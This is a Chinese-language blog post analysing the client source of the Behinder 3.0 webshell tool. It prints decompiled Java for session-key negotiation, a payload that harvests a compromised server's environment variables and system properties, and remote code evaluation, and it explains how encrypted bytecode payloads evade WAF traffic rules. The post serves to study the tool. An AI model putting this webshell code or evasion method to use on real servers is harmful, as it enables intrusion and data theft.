冰蝎3.0源码分析

发布于 17 天前  19 次阅读


这算是我第一次写源码阅读的文章,而且冰蝎最近更新了3.0 于是我参考着高总的博客(zgao.top)也写了一篇这个

取消动态密钥获取,目前很多waf等设备都做了冰蝎2.0的流量特征分析。所以3.0取消了动态密钥获取 客户端代码如下;

   System.out.println("进入常规密钥协商流程");
   Map < String, String > keyAndCookie = Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders);
   String cookie = keyAndCookie.get("cookie");
   if((cookie == null || cookie.equals("")) && !this.currentHeaders.containsKey("cookie"))
   {
       String urlWithSession = keyAndCookie.get("urlWithSession");
       if(urlWithSession != null) this.currentUrl = urlWithSession;
       this.currentKey = (String) Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders).get("key");
   }

我们可以看出,新增了无动态密钥交互。只有在无动态密钥交互失败后,才会进入常规的密钥交互阶段。 密钥生成可以看出,使用密码的md5结果的前16位。 同时界面由swt改为javafx,较上个版本更加美观

但是网上新的文章大部分都是关于冰蝎3.0的流量分析和使用,于是我就有了写这篇文章的想法 从功能总体上看,冰蝎是先请求服务端,服务端判断请求之后生成一个128位的随机数,并将这个128位的随机数写入到session里面,并将这个128位的随机数返回给客户端,但是客户端并不会使用这个key作为之后的通讯的key,而是会继续重复上面过程,不断获取key,直到满足特定条件(下面的贴出代码)之后,才会确定是最终的key。客户端会保存这个key和响应报文里面的set-cookie的值。这个key就是之后客户端和服务端进行通讯的密匙。 获取key和保存cookie之后,获取服务端信息,执行命令,文件操作,数据库操作等都是使用这个key和cookie进行操作,对执行的代码动态生成class字节数组,然后使用key进行aes加密,再进行base64编码,并用post方式发送数据。接收服务端返回的数据时,先使用key进行解密,解密之后的数据一般是使用了base64编码,解码之后就可以获取服务端返回的明文数据。

首先是冰蝎的目录结构 mulu 由于冰蝎对流量进行了AES加密,所以无法使用传统意义上的一句话木马,所以需要用到server目录下对应的webshell文件,net.rebeyond.behinder目录是冰蝎的主要代码,其余的是工具要用到的jar包以及说明文件,所以我们只需要分析net目录下的源码

###Crypt类 我看了一下这里有两个类:Crypt和deCrypt 但是加密和解密的所有方法都在crypt里了 我再用ideaCTRL+F7查找了deCrypt的调用 发现没有任何一个文件调用了它 ,所有我也不知道这个类到底是干啥的 在Crypt类中分别有对应的不同server端语言的加解密方法。 继续看各自的加解密方法,这里以C#和java的为例。这里我看了网上的一些java的AES加密实现,好像都差不多 接着看php和asp的加密方法,根据类型不同加密,发现php执行异或操作的操作就是直接调用asp的代码实现的 由于冰蝎在通信过程中使用AES加密,Java和.Net默认支持AES加密,php环境中需要开启openssl扩展,v2.0更新以后,PHP环境加密方式根据服务器端支持情况动态选择,不再依赖openssl,使得冰蝎有了更大的发挥空间。也就是上面代码中不支持AES的情况就直接调用asp的代码。同样解密的方法也是相同的,就不赘述了。 ###Params类 作者在《利用动态二进制加密实现新型一句话木马之Java篇》中提到

如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则

首先让服务器获得端动态地将字节流解析成Class的能力,这是基础,不过在java中,并没有提供直接解析class字节数组的接口,不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下 因为该方法是protected的,我们没办法在外部直接调用,虽然我们可以通过反射来修改保护属性,但是作者选择了更加便捷的方法: 定义了一个t类继承classloader,然后在子类中调用父类的defineClass方法,这里就要提到asm技术了,从spring框架的学习中,我了解到AOP切面的实现用到了asm,asm是assembly的缩写,设计模式采用了访问者模式,是汇编的称号,对于java而言,asm就是字节码级别的编程。asm是一套java字节码生成架构,它可以动态生成二进制格式的stub类或其它代理类,或者在类被java虚拟机装入内存之前,动态修改类。
因为命令是编码在class文件中的,所以不可能每次传playload你都要编译一次,所以需要对playload传参,同理,为了防止被waf发现,playload也是字节流,所以作者使用ASM框架来动态修改class文件中的属性值,so,只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class.

看一下.net的代码实现 在.net中不存在单个类对应的二进制文件,而是引入了一个叫做Assembly(程序集)的概念,已编译的类是以Assembly的形式来承载的,Assembly是供CLR执行的可执行文件。在.NET下,托管的DLL和EXE都称之为Assembly,一个Assembly可以包含多个类。 而Assembly类提供了一个load方法:

public static System.Reflection.Assembly Load (byte[] rawAssembly);
Loads the assembly with a common object file format (COFF)-based image containing an emitted assembly. The assembly is loaded into the application domain of the caller.

这个方法接收Assembly文件的字节数组,并返回一个Assembly类型的对象。得到Assembly对象之后,我们继续调用该对象的CreateInstance方法,即可实例化dll文件中的类,CreateInstance方法的原型如下: public object CreateInstance (string typeName); 因此我们只要先用C#写好Payload,然后编译成dll,然后将dll文件的二进制字节流传入Load函数即可实现动态解析执行我们已经编译好的二进制类文件。 同理php,asp的实现都是类似的,只是细节上有所区别

###pluginTools类&&PluginResultCallBack&&PluginSubmitCallBack类 新版本的冰蝎添加了插件支持,但是现在还处于beta版本,所以插件只能靠自己编写

###Constants类 这个类里全是定义的变量,没啥好说的

###ShellService类 这个类是源码中的重点,是连接shell后的操作实现 ####协商密匙 getKeyAndCookie 首先来看构造函数,在ShellService类里面的构造方法里,会调用Utils的getKeyAndCookie方法 完成了对属性的赋值,并且调用initHeaders()方法构造header,如果是php还会在前面添加一个“Content-Type", "text/html;charset=utf-8”属性并将其合并 然后我们再来分析getKeyAndCookie方法 放到服务端的木马里面会判断发送上来的请求是否带有pass参数,而在getKeyAndCookie里,password的值就是连接的时候的访问密码里的值,所以在连接的时候访问密码应该要填pass,否则响应报文会返回密匙获取失败,密码错误的错误信息.密匙获取成功的话,会返回一个128位的密匙,并保存在rawKey_1里面。

public static Map < String, String > getKeyAndCookie(String getUrl, String password, Map < String, String > requestHeaders) throws Exception
{
    URL url;
    HttpURLConnection urlConnection;
    String rawKey_2;
    disableSslVerification();
    Map < String, String > result = new HashMap < > ();
    StringBuffer sb = new StringBuffer();
    InputStreamReader isr = null;
    BufferedReader br = null;
    if(getUrl.indexOf("?") > 0)
    {
        url = new URL(getUrl + "&" + password + "=" + (new Random()).nextInt(1000));
    }
    else
    {
        url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
    }
    HttpURLConnection.setFollowRedirects(false);
    if(url.getProtocol().equals("https"))
    {
        if(MainController.currentProxy.get("proxy") != null)
        {
            Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
            urlConnection = (HttpsURLConnection) url.openConnection(proxy);
        }
        else
        {
            urlConnection = (HttpsURLConnection) url.openConnection();
        }
    }
    else if(MainController.currentProxy.get("proxy") != null)
    {
        Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
        urlConnection = (HttpURLConnection) url.openConnection(proxy);
    }
    else
    {
        urlConnection = (HttpURLConnection) url.openConnection();
    }
    for(String headerName: requestHeaders.keySet())
    {
        urlConnection.setRequestProperty(headerName, requestHeaders.get(headerName));
    }
    if(urlConnection.getResponseCode() == 302 || urlConnection.getResponseCode() == 301)
    {
        String urlwithSession = ((String)((List < String > ) urlConnection.getHeaderFields().get("Location")).get(0)).toString();
        if(!urlwithSession.startsWith("http"))
        {
            urlwithSession = url.getProtocol() + "://" + url.getHost() + ":" + ((url.getPort() == -1) ? url.getDefaultPort() : url.getPort()) + urlwithSession;
            urlwithSession = urlwithSession.replaceAll(password + "=[0-9]*", "");
        }
        result.put("urlWithSession", urlwithSession);
    }
    boolean error = false;
    String errorMsg = "";
    if(urlConnection.getResponseCode() == 500)
    {
        isr = new InputStreamReader(urlConnection.getErrorStream());
        error = true;
        char[] buf = new char[512];
        int bytesRead = isr.read();
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        while(bytesRead > 0)
        {
            bytesRead = isr.read(buf);
        }
        errorMsg = "密钥获取失败,密码错误?";
    }
    else if(urlConnection.getResponseCode() == 404)
    {
        isr = new InputStreamReader(urlConnection.getErrorStream());
        error = true;
        errorMsg = "页面返回404错误";
    }
    else
    {
        isr = new InputStreamReader(urlConnection.getInputStream());
    }
    br = new BufferedReader(isr);
    String line;
    while((line = br.readLine()) != null)
    {
        sb.append(line);
    }
    br.close();
    if(error)
    {
        throw new Exception(errorMsg);
    }
    String rawKey_1 = sb.toString();
    String pattern = "[a-fA-F0-9]{16}";
    Pattern r = Pattern.compile(pattern);
    Matcher m = r.matcher(rawKey_1);
    if(!m.find())
    {
        throw new Exception("页面存在,但是无法获取密钥!");
    }
    int start = 0, end = 0;
    int cycleCount = 0;
    while(true)
    {
        Map < String, String > KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
        rawKey_2 = KeyAndCookie.get("key");
        byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());
        int i;
        for(i = 0; i < temp.length; i++)
        {
            if(temp[i] > 0)
            {
                if(start == 0 || i <= start) start = i;
                break;
            }
        }
        for(i = temp.length - 1; i >= 0; i--)
        {
            if(temp[i] > 0)
            {
                if(i >= end) end = i + 1;
                break;
            }
        }
        if(end - start == 16)
        {
            result.put("cookie", KeyAndCookie.get("cookie"));
            result.put("beginIndex", start + "");
            result.put("endIndex", (temp.length - end) + "");
            break;
        }
        if(cycleCount > 10)
        {
            throw new Exception("Can't figure out the key!");
        }
        cycleCount++;
    }
    String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
    result.put("key", finalKey);
    return result;
}

判断得到的密匙rawKey_1之后,进入循环调用getRawKey方法,并获取rawKey_2,并且将rawKey_1和rawKey_2进行异或操作。获取rawKey_2的方法和获取rawKey_1基本是一样的。

public static Map<String, String> getRawKey(String getUrl, String password, Map<String, String> requestHeaders) throws Exception {
     URL url;
     HttpURLConnection urlConnection;
     Map<String, String> result = new HashMap<>();
     StringBuffer sb = new StringBuffer();
     InputStreamReader isr = null;
     BufferedReader br = null;
     
     if (getUrl.indexOf("?") > 0) {
       url = new URL(getUrl + "&" + password + "=" + (new Random()).nextInt(1000));
     } else {
       url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
     } 
 
     
     HttpURLConnection.setFollowRedirects(false);
 
     
     if (url.getProtocol().equals("https")) {
       urlConnection = (HttpsURLConnection)url.openConnection();
 
 
 
 
 
     
     }
     else {
 
 
 
 
 
       
       urlConnection = (HttpURLConnection)url.openConnection();
     } 
 
 
 
 
 
 
 
 
 
 
 
 
 
     
     for (String headerName : requestHeaders.keySet()) {
       urlConnection.setRequestProperty(headerName, requestHeaders.get(headerName));
     }
     String cookieValues = "";
     
     Map<String, List<String>> headers = urlConnection.getHeaderFields();
     for (String headerName : headers.keySet()) {
       if (headerName == null)
         continue; 
       if (headerName.equalsIgnoreCase("Set-Cookie")) {
         for (String cookieValue : headers.get(headerName)) {
           cookieValue = cookieValue.replaceAll(";[\\s]*path=[\\s\\S]*;?", "");
           cookieValues = cookieValues + ";" + cookieValue;
         } 
         cookieValues = cookieValues.startsWith(";") ? cookieValues.replaceFirst(";", "") : cookieValues;
         break;
       } 
     } 
     result.put("cookie", cookieValues);
     boolean error = false;
     String errorMsg = "";
     if (urlConnection.getResponseCode() == 500) {
       isr = new InputStreamReader(urlConnection.getErrorStream());
       error = true;
       errorMsg = "密钥获取失败,密码错误?";
     } else if (urlConnection.getResponseCode() == 404) {
       isr = new InputStreamReader(urlConnection.getErrorStream());
       error = true;
       errorMsg = "页面返回404错误";
     } else {
       isr = new InputStreamReader(urlConnection.getInputStream());
     } 
     
     br = new BufferedReader(isr);
     String line;
     while ((line = br.readLine()) != null) {
       sb.append(line);
     }
     br.close();
     if (error) {
       throw new Exception(errorMsg);
     }
     result.put("key", sb.toString());
     return result;
   }

上面虽然获取了rawKey_1以及是rawKey_1和rawKey_2异或之后的temp字节数组,但是实际上最终的finalKey其实都是使用rawKey_2,temp数组只是用来控制循环的结束条件。每一次循环,都会重新获取rawKey_2,重新和rawKey_1异或生成temp字节数组,其中temp字节数组会在两个循环里面控制start和end变量的值,当end-start==16时,结束循环,并返回最新获取的rawKey_2作为finalKey。

 String rawKey_1 = sb.toString();
 
 
     
     String pattern = "[a-fA-F0-9]{16}";
     Pattern r = Pattern.compile(pattern);
     Matcher m = r.matcher(rawKey_1);
     if (!m.find()) {
       throw new Exception("页面存在,但是无法获取密钥!");
     }
     
     int start = 0, end = 0;
     int cycleCount = 0;
     while (true) {
       Map<String, String> KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
       rawKey_2 = KeyAndCookie.get("key");
       byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes()); int i;
       for (i = 0; i < temp.length; i++) {
         
         if (temp[i] > 0) {
           if (start == 0 || i <= start)
             start = i; 
           break;
         } 
       } 
       for (i = temp.length - 1; i >= 0; i--) {
         if (temp[i] > 0) {
           if (i >= end)
             end = i + 1; 
           break;
         } 
       } 
       if (end - start == 16) {
         result.put("cookie", KeyAndCookie.get("cookie"));
         result.put("beginIndex", start + "");
         result.put("endIndex", (temp.length - end) + "");
         
         break;
       } 
       
       if (cycleCount > 10) {
         throw new Exception("Can't figure out the key!");
       }
       
       cycleCount++;

返回的finalKey就是循环最后一轮获取的rawKey_2,所以rawKey_1和temp字节数组对于最终的finalKey来说其实并没有用到。 返回到ShellService之后会获取之后会获取返回结果里面的cookie和key,在之后的请求里面都会使用这个cookie和key。

####getBasicInfo 获取到cookie和key之后,就会调用ShellService的getBasicInfo方法来获取放了木马的服务器的基本信息。 如果服务器是php,则会输出phpinfo界面 进入Utils.getData方法,会调用net.rebeyond.behinder.core.Params里面的getParamedClass方法,传入BasicInfo参数,使用ASM框架来动态修改class文件中的属性值,详情可以看作者写的利用动态二进制加密实现新型一句话木马之Java篇

我们来关注传入去Param的参数BasicInfo这个类的代码,这个类就是要在放了木马的服务器上执行的payload,在服务端上的木马在使用ClassLoader来实例化接收回来的class字节数组之后,就会调用equals方法,同时传入Pagecontext对象来使payload获取到session,request,response对象,然后才是获取服务器上面的环境变量,jre参数,当前路径等信息

   public boolean equals(Object obj) {
     PageContext page = (PageContext)obj;
     page.getResponse().setCharacterEncoding("UTF-8");
     String result = "";
     try {
       StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
       Map<String, String> env = System.getenv();
       for (String name : env.keySet()) {
         basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
       }
       basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
       Properties props = System.getProperties();
       Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
       for (Map.Entry<Object, Object> entry : entrySet) {
         basicInfo.append((new StringBuilder()).append(entry.getKey()).append(" = ").append(entry.getValue()).append("<br/>").toString());
       }
       String currentPath = (new File("")).getAbsolutePath();
       String driveList = "";
       File[] roots = File.listRoots();
       for (File f : roots) {
         driveList = driveList + f.getPath() + ";";
       }
       String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
       Map<String, String> entity = new HashMap<>();
       entity.put("basicInfo", basicInfo.toString());
       entity.put("currentPath", currentPath);
       entity.put("driveList", driveList);
       entity.put("osInfo", osInfo);
       result = buildJson(entity, true);
 
 
 
       
       String key = page.getSession().getAttribute("u").toString();
       ServletOutputStream so = page.getResponse().getOutputStream();
       so.write(Encrypt(result.getBytes(), key));
       so.flush();
       so.close();
       page.getOut().clear();
     } catch (Exception e) {
       
       e.printStackTrace();
     } 
     return true;

跟进requestAndParse方法

####命令执行 runCmd 明白了上面getBasicInfo的过程的话,runCmd这部分其实就好理解了,大体过程和上面getBasicInfo差不多,只是动态生成的payload字节数组不同。输入要执行的命令,可以看到在ShellService.runCmd里,也是调用Utils.getData和Utils.requestAndParse,然后解密和解码返回的数据,再返回出去显示。 这里Utils.getData里className就是net.rebeyond.behinder.payload.java.cmd 跟进这个Cmd类,入口还是equais方法,在equals里的核心就是这个RunCMD方法,接收传入的cmd,判断是windows还是linux,然后执行命令并返回命令执行结果 同样其余的功能就是传递一个路径进去可以是cmd也可以是powershell然后执行回显,和上面的过程没有本质的区别。

####自定义代码执行 eval EvalUtils的execute方法调用ShellService的eval方法,eval方法先调用Utils.getClassFromSourceCode将执行的代码转换成为class字节数组,然后就和上面的有一点不同,不调用熟悉的getData,而是调用getEvalData,然后再调用requestAndParse。

public String eval(String sourceCode) throws Exception {
     String result = null;
     byte[] payload = null;
     if (this.currentType.equals("jsp")) {
       payload = Utils.getClassFromSourceCode(sourceCode);
     } else {
       payload = sourceCode.getBytes();
     } 
     byte[] data = Utils.getEvalData(this.currentKey, this.encryptType, this.currentType, payload);
 
     
     Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
     byte[] resData = (byte[])resultObj.get("data");
     result = new String(resData);
     return result;
   }

在getEvalData里面,对传进来的class字节数组加密和base64编码,然后再返回给ShellService.eval方法,然后再requestAndParse,所以其实getClassFromSourceCode和getEvalData可以理解成就是一个getData,只是获取payload的class字节数组的方式不同。 ####内网穿透socks代理 因为是在本地环境,所以也没用到这个功能,所以在这里放上作者的动图

###总结 其实理解冰蝎整个编写思路并不难,里面的功能(获取服务器基本信息,执行系统命令,文件管理,数据库管理,反弹meterpreter,执行自定义代码等)大致的过程都比较类似。 作者绕过waf的思路很奇特,避免了传统意义上的对代码的各种变形